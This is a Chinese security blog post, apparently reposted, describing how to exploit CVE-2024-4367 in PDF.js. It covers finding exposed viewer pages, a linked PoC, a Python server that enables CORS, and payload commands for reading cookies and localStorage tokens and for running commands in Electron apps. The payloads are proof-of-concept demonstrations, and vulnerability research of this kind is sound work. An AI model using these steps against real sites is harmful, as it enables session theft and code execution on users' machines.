文章总结: 本文详述了CVE-2024-4367漏洞在PDF.js组件中的踩坑实战,涵盖组件识别、PoC利用及环境配置。重点解决了远程加载恶意PDF时的CORS跨域拦截问题,提供了支持跨域的Python服务脚本。文章进一步展示了窃取Cookie、Token以及在Electron应用中实现RCE的具体方法,内容实操性强,为相关漏洞复现与利用提供了有效参考。 综合评分: 82 文章分类: 漏洞POC,渗透测试,实战经验
PDF.JS任意JS代码执行漏洞踩坑实践
原创
ss ss
shadowsec
2026年2月25日 15:28 河南
PDF.js作为Mozilla开发的开源PDF阅读器库,被广泛应用于Firefox浏览器和Web应用中。之前爆出的CVE-2024-4367漏洞允许攻击者通过构造恶意PDF文件执行任意JavaScript代码,影响范围包括Firefox浏览器及依赖PDF.js的Web/Electron应用。
漏洞探测
http://xxx.com/xxx/xxxx/html/web/viewer.html?file= 形如这类格式的,功能点为预览PDF内容可以确定为PDF.JS组件
发现这里File参数支持http协议获取PDF内容
那么可以尝试远程加载恶意pdf的方式来利用该漏洞(如果这里不存在远程加载,仍然可以通过寻找上传口上传pdf文件来实现漏洞利用,这里不再赘述)
漏洞利用
利用poc:
https://github.com/LOURC0D3/CVE-2024-4367-PoC/blob/main/CVE-2024-4367.py
利用服务器起一个服务:
然后利用组件访问恶意服务器
http://xxx.com/web/viewer.html?file=http://xxx.com/poc.pdf
有时会发现显示载入pdf时发生错误。这时候或许并不是不能加载,而是python起服务默认不会开启cors可跨域,导致浏览器直接阻止了pdf.js获取pdf文件。
那么这里则需要构造python脚本开启cors可任意跨域
| | |
| — | — |
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | import http.server import socketserver from functools import partial classCORSRequestHandler(http.server.SimpleHTTPRequestHandler): defend_headers(self): self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Access-Control-Allow-Methods', 'GET, HEAD, OPTIONS') self.send_header('Access-Control-Allow-Headers', 'Content-Type') super().end_headers() defdo_OPTIONS(self): self.send_response(200) self.end_headers() classReuseTCPServer(socketserver.TCPServer): allow_reuse_address = True PORT = 8080 DIRECTORY = "." with ReuseTCPServer(("", PORT), partial(CORSRequestHandler, directory=DIRECTORY)) as httpd: print(f"Serving at http://0.0.0.0:{PORT} with CORS enabled") httpd.serve_forever() |
此时在起python服务
访问就可以正常执行了
(如果谷歌浏览器限制不允许pdf中js执行,也可以更换浏览器尝试,比如火狐进行尝试)
获取cookie
| | |
| — | — |
| 1 | Python CVE-2024-4367.py alert(document.cookie) |
获取Token
如果不是cookie,而是认证类型如jwt等则用,生成,jwt认证凭证存储在localStorage中
| | |
| — | — |
| 1 | python CVE-2024-4367.pyalert(localStorage.getItem('token')) |
代码执行(需要条件)
| | |
| — | — |
| 1 | python CVE-2024-4367.py"require('child_process').exec('calc');" |
参考文章
https://www.4awl.net/13333.html
从 XSS 到 RCE:Electron 应用中的真实攻击链
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:shadowsec ss ss《PDF.JS任意JS代码执行漏洞踩坑实践》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论